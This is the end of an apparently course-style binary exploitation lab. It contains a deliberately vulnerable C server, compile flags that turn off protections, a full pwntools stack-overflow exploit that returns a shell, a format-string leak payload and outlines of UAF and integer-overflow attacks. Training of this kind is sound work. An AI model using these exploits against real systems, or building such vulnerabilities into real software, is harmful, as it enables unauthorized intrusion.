    if (data_buffer) {
        free(data_buffer->data);
        free(data_buffer);
    }
    for (int i = 0; i < MAX_NOTES; i++) {
        if (notes[i]) {
            free(notes[i]);
        }
    }

    close(client_fd);
}

int main() {
    int server_fd, client_fd;
    struct sockaddr_in address;
    int opt = 1;

    // Open syslog for debugging
    openlog("vuln_server", LOG_PID | LOG_CONS, LOG_USER);
    syslog(LOG_INFO, "VulnServer starting...");

    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd < 0) {
        perror("socket");
        exit(1);
    }

    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));

    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(PORT);

    if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) {
        perror("bind");
        exit(1);
    }

    if (listen(server_fd, 3) < 0) {
        perror("listen");
        exit(1);
    }

    printf("VulnServer (FIXED) listening on port %d...\n", PORT);

    while (1) {
        client_fd = accept(server_fd, NULL, NULL);
        if (client_fd < 0) {
            perror("accept");
            continue;
        }

        if (fork() == 0) {
            close(server_fd);
            handle_client(client_fd);
            exit(0);
        }
        close(client_fd);
    }

    return 0;
}

Compile VulnServer (AMD64 - NX ENABLED!):

# AMD64 with NX enabled - requires ROP!
gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security vuln_server.c -o vuln_server

# Verify protections
checksec --file=vuln_server
# Expected: NX enabled, Canary disabled, PIE disabled, Partial RELRO

# Running server in a new tab
./vuln_server &

Critical Note on Exploitation:

The handle_auth() function in the provided source uses memcpy(username, data, 200) instead of the traditional strcpy(). This is intentional for the training exercise.

Why this matters:

  • strcpy() stops copying at the first null byte (\x00)
  • x86-64 addresses always contain null bytes (e.g., 0x0000000000401000)
  • With strcpy(), the return address would never be fully overwritten
  • memcpy() with a fixed length allows null bytes, making the exploit work

In real-world scenarios with strcpy():

  • Direct stack overflow exploitation would fail
  • You would need to chain vulnerabilities (format string + UAF)
  • Or find alternative input methods (binary protocols, file uploads)
  • Or use partial overwrites (limited effectiveness on x86-64)

This is an important lesson: not all vulnerabilities are directly exploitable due to input validation constraints!

Vulnerability Summary:

CommandVulnerabilityPrimitiveExploitation Goal
auth <name>Stack Buffer Overflow (memcpy)Control RIPDirect jump to admin_shell
echo <msg>Format String (snprintf)Leak + WriteLeak libc addresses, overwrite GOT
note create/delete/show/editUse-After-FreeControl function pointerRedirect to admin_shell
data alloc <size>Integer OverflowHeap overflowCorrupt heap metadata

Note: The auth command uses memcpy() instead of strcpy() to allow null bytes in the payload. With strcpy(), this vulnerability would require chaining with other bugs (format string or UAF) for exploitation.

Exploitation Strategy:

  1. Phase 1 - Stack Overflow (Direct Approach):

    • Calculate offset to return address (72 bytes)
    • Build payload with admin_shell address
    • Handle stack alignment (add ret gadget)
    • Send payload and get shell
  2. Phase 2 - Information Gathering (For Advanced Techniques):

    • Use echo %p.%p.%p.%p.%p.%p.%p.%p to leak stack addresses
    • Identify libc pointers (start with 0x7f on AMD64)
    • Calculate libc base address (must end in 000)
  3. Phase 3 - Alternative Attack Vectors (Optional):

    • Option A: Format string arbitrary write → overwrite GOT entry
    • Option B: Stack overflow with ROP → ret2libc (requires libc leak)
    • Option C: UAF → overwrite function pointer with admin_shell
    • Option D: Integer overflow → heap corruption → control flow hijack

Task:

  1. Primary Goal: Exploit auth command to get shell via direct jump to admin_shell
  2. Secondary Goals (choose at least ONE):
    • Use echo format string to leak libc addresses
    • Exploit note UAF to redirect control flow
    • Exploit data integer overflow for heap corruption
  3. Advanced Goal: Chain multiple vulnerabilities for a complete exploit

Practical Exercise (AMD64)

The Capstone Challenge: Build working exploits for VulnServer

  • Task 1: Stack Overflow (auth command) - START HERE
  • Task 2: Format String Leak (echo command)
  • Task 3: UAF Exploit (note command)
  • Task 4: Integer Overflow (data command)
  • Task 5: Full Chain Exploit (combine multiple techniques)

Task 1

The working exploit requires modifying handle_auth() to use memcpy() instead of strcpy() because strcpy() stops at null bytes, and x86-64 addresses always contain null bytes. write it yourself, look at this in case you got stuck

#!/usr/bin/env python3
# pwn_vuln_server.py - Only Task 1, do the rest yourself
"""
This exploit works with the modified vuln_server.c that uses memcpy()
instead of strcpy() in handle_auth(), allowing null bytes in the payload.

Compile:
    gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none \
        -Wno-format-security vuln_server.c -o vuln_server

Run:
    ./vuln_server &

Exploit:
    python pwn_vuln_server.py
"""
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

def pwn():
    p = remote('localhost', 1337)
    p.recvuntil(b'> ')

    # Load binary
    elf = ELF('./vuln_server')
    admin_shell = elf.symbols['admin_shell']

    log.success(f"admin_shell @ {hex(admin_shell)}")

    # Find ret gadget for stack alignment
    rop = ROP(elf)
    ret = rop.find_gadget(['ret'])[0]

    log.info(f"ret @ {hex(ret)}")

    # Calculate offset
    # username[64] buffer starts at rbp-0x40
    # Distance from start of username to return address:
    #   64 bytes (buffer) + 8 bytes (saved RBP) = 72 bytes
    offset = 72

    log.info(f"Offset: {offset} bytes")

    # Build payload
    # Note: This works because memcpy() allows null bytes
    payload = b'A' * offset
    payload += p64(ret)           # Stack alignment (16-byte before call)
    payload += p64(admin_shell)   # Jump to admin_shell()

    log.info(f"Payload: {len(payload)} bytes")
    log.info("Sending exploit...")

    p.sendline(b'auth ' + payload)

    # Wait for response
    try:
        response = p.recvline(timeout=2)
        log.info(f"Response: {response[:60]}...")
    except:
        pass

    # Check for admin message
    sleep(0.5)

    try:
        data = p.recv(timeout=2)
        if b'Admin access granted' in data:
            log.success("admin_shell() was called!")
        log.info(f"Received: {data}")
    except:
        pass

    # Now interact with the shell
    log.success("Going interactive - you should have a shell!")
    log.info("Try commands: id, whoami, ls, pwd")

    p.interactive()

if __name__ == '__main__':
    pwn()

Real-World Implications:

  1. Input Validation Matters: Many functions stop at null bytes (strcpy, scanf, gets, string functions)
  2. Vulnerability Chaining: In real scenarios, you'd chain the format string or UAF vulnerabilities
  3. Alternative Input Methods: Look for binary protocols, file uploads, or other non-string inputs
  4. Partial Overwrites: On some architectures, you can overwrite just lower bytes (limited on x86-64)

Alternative Exploitation Paths (without modifying the server):

  1. Format String Arbitrary Write: Use echo command to write to GOT or function pointers
  2. Use-After-Free: Exploit note command to control function pointer (no null bytes needed)
  3. Integer Overflow: Use data command for heap corruption leading to arbitrary write
  4. Vulnerability Chaining: Combine multiple bugs for complete exploitation

Capstone Checklist

  • Environment Setup

    • VulnServer compiled with correct flags
    • Server running on port 1337
    • pwntools environment configured
    • Binary protections verified (NX enabled, no canary, no PIE)
  • Task 1: Stack Overflow (Primary Goal) [x] Working exploit provided

    • Buffer overflow offset found (72 bytes)
    • admin_shell address located
    • ret gadget found for stack alignment
    • Payload built correctly (padding + ret + admin_shell)
    • Shell obtained reliably (>90% success)
    • Understand why memcpy() is used instead of strcpy()
  • Task 2: Format String Leak

    • Format string vulnerability confirmed via echo command
    • Stack layout mapped (positions 1-20)
    • Libc addresses identified (0x7f...)
    • Libc base calculated correctly (ends in 000)
    • Leak is reliable (100% success rate)
    • Note: Exploit code provided in earlier sections (find_libc_offset.py)
  • Task 3: Use-After-Free

    • UAF vulnerability confirmed via note command
    • Note struct layout understood (64 bytes content + 8 bytes function pointer)
    • admin_shell address located
    • Limitation identified: strcpy prevents null bytes in function pointer
    • Alternative: Use format string to write function pointer
  • Task 4: Integer Overflow

    • Integer overflow identified in data alloc command
    • Vulnerability: size + 1 can wrap to 0 if size = 0xffffffff
    • Heap overflow potential confirmed
    • Note: Exploitation requires heap feng shui techniques
  • Documentation

    • Working exploit (pwn_vuln_server.py) tested and understood
    • Understand the strcpy() vs memcpy() lesson
    • Know why direct exploitation of strcpy() buffer overflow fails
    • Understand alternative exploitation paths (format string, UAF)
    • Document lessons learned about input validation constraints

Key Takeaways

  1. Exploitation is Engineering: It requires precision, planning, and debugging. It's not just running a script.
  2. Primitives are Building Blocks: A "crash" is useless. A "write-what-where" is powerful.
  3. Reliability separates Pros from Script Kiddies: An exploit that works 100% of the time is infinitely better than one that works 10% of the time.
  4. Mitigations Change the Game: Everything you learned this week assumes no mitigations. Next week, you'll see how ASLR and DEP break these techniques (and how to fix them).
  5. CET Changes Modern Exploitation: On glibc 2.34+, ROP to system() may fail; use one_gadget with RBP fix or function pointer overwrites instead.
  6. Know Your Attack Surface: Function pointers and GOT bypass CET; ROP chains don't.
  7. Input Validation Matters: Functions like strcpy() stop at null bytes, making some exploits impossible without modification or vulnerability chaining.
  8. Real-World Constraints: The strcpy() limitation in this exercise teaches an important lesson - not all vulnerabilities are directly exploitable due to input validation.

Discussion Questions

  1. How can integer overflows lead to exploitable conditions? Give examples of vulnerable size calculations.
  2. Why are integer overflows particularly dangerous in parsers (images, fonts, documents)?
  3. What's the difference between signed and unsigned integer overflow behavior in C?
  4. In the multi-stage exploit, how do you chain primitives from different vulnerability classes?
  5. Which vulnerability class did you find most difficult to exploit this week, and why?
  6. How would ASLR affect the exploits you built this week? What information would you need to leak to bypass it?
  7. What makes data-only attacks valuable in modern exploitation scenarios where CFI/CET is enabled?

Bridging to Windows (Week 6 Preparation)

The techniques you learned this week apply to Windows with some modifications:

Linux ConceptWindows EquivalentKey Difference
execve("/bin/sh")WinExec("cmd.exe")Different API, same goal
GOT/PLTIAT (Import Address Table)Similar lazy binding concept
Stack canary/GS cookieXOR'd with stack frame pointer on Windows
NX bitDEPSame hardware feature
ASLRASLR + High Entropy VAMore entropy on 64-bit Windows
Signal handlersSEH (Structured Exception Handling)Different exploitation approach (chain overwrites)
glibc heapNT Heap / Segment HeapDifferent allocator internals and metadata
Format stringsSame vulnerabilityDifferent format specifiers (%p, %n work)
ROP gadgetsSame techniqueDifferent calling convention (stack-based args)
one_gadgetMagic gadgets in system DLLsSimilar concept, different tools

Techniques Covered This Week

Day 1: Stack buffer overflow, shellcode execution, NOP sleds, offset finding
Day 2: ret2libc, ROP chains, libc leaks, one_gadget, stack alignment
Day 3: Heap fundamentals, heap overflow, fastbin/tcache poisoning
Day 4: Modern heap techniques (House of Botcake, House of Water, House of Tangerine), safe-linking bypass
Day 5: Format string exploitation, arbitrary read/write, GOT overwrites, FSOP
Day 6: Logic bugs, data-only attacks, UAF exploitation, race conditions
Day 7: Integer overflows, multi-stage exploits, combining primitives

Looking Ahead to Week 6

Next week introduces modern exploit mitigations (DEP, ASLR, stack canaries, CFI/CET) and how they prevent the techniques you learned this week. You'll learn to:

  • Identify active mitigations using checksec, vmmap, and runtime analysis
  • Understand protection mechanisms (how they work internally)
  • Recognize when mitigations are improperly configured or bypassable
  • Prepare for Week 7's mitigation bypass techniques (info leaks, partial overwrites, heap spraying, etc.)

The goal is to understand what each mitigation protects against and why it works before learning how to defeat it.

<!-- Written by AnotherOne from @Pwn3rzs Telegram channel -->

┌ stats

installs/wk0
░░░░░░░░░░
github stars12
██░░░░░░░░
first seenMar 18, 2026
└────────────

┌ repo

SnailSploit/Claude-Red
by SnailSploit
└────────────

┌ tags

└────────────